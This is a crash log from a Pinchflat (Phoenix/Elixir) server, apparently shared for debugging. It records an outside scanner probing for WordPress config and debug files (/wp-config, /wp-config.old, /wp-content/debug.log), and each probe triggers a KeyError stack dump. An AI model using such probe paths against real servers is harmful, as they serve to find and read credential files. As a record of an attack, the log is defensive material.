{PinchflatW (truncated) 21:08:42.846 [info] GET /wp-config 21:08:42.846 [debug] QUERY OK source="settings" db=0.1ms idle=291.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.846 [debug] QUERY OK source="settings" db=0.0ms idle=199.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.846 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:42.847 [error] #PID<0.3340.0> running PinchflatWeb.Endpoint (connection #PID<0.3339.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /wp-config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3339.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49900}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3340.0>, params: %{}, path_info: ["wp-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/wp-config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-qtM-g7wJggAAHCC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3339.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49900}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3339.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49900}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3340.0>, params: %{}, path_info: ["wp-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto (truncated) 21:08:42.883 [info] GET /wp-config.txt 21:08:42.883 [debug] QUERY OK source="settings" db=0.1ms idle=236.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.884 [debug] QUERY OK source="settings" db=0.0ms idle=143.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.884 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:42.884 [error] #PID<0.3342.0> running PinchflatWeb.Endpoint (connection #PID<0.3341.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /wp-config.txt ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3341.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.txt", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49906}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3342.0>, params: %{}, path_info: ["wp-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/wp-config.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-q2EW0MtqLgAAP6B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3341.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.txt", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49906}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3341.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.txt", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49906}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3342.0>, params: %{}, path_info: ["wp-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/wp-config.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-q2EW0MtqLgAAP6B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Rou (truncated) 21:08:42.886 [info] GET /wp-config.old 21:08:42.886 [debug] QUERY OK source="settings" db=0.0ms idle=145.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.886 [debug] QUERY OK source="settings" db=0.0ms idle=40.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.886 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:42.887 [error] #PID<0.3344.0> running PinchflatWeb.Endpoint (connection #PID<0.3343.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /wp-config.old ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3343.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.old", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49908}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3344.0>, params: %{}, path_info: ["wp-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/wp-config.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-q2x1eLEnqgAAP8B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3343.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.old", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49908}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3343.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.old", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49908}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3344.0>, params: %{}, path_info: ["wp-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/wp-config.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-q2x1eLEnqgAAP8B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Rou (truncated) 21:08:42.914 [info] GET /wp-content/debug.log 21:08:42.914 [debug] QUERY OK source="settings" db=0.1ms idle=67.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.914 [debug] QUERY OK source="settings" db=0.1ms idle=30.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:42.914 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:42.915 [error] #PID<0.3346.0> running PinchflatWeb.Endpoint (connection #PID<0.3345.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /wp-content/debug.log ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-content/debug (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3345.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-content/debug.log", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49914}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3346.0>, params: %{}, path_info: ["wp-content", "debug"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/wp-content/debug.log", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-q9aIkelPAkAAP-B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3345.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-content/debug.log", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49914}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-content/debug (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3345.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-content/debug.log", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49914}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3346.0>, params: %{}, path_info: ["wp-content", "debug"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => 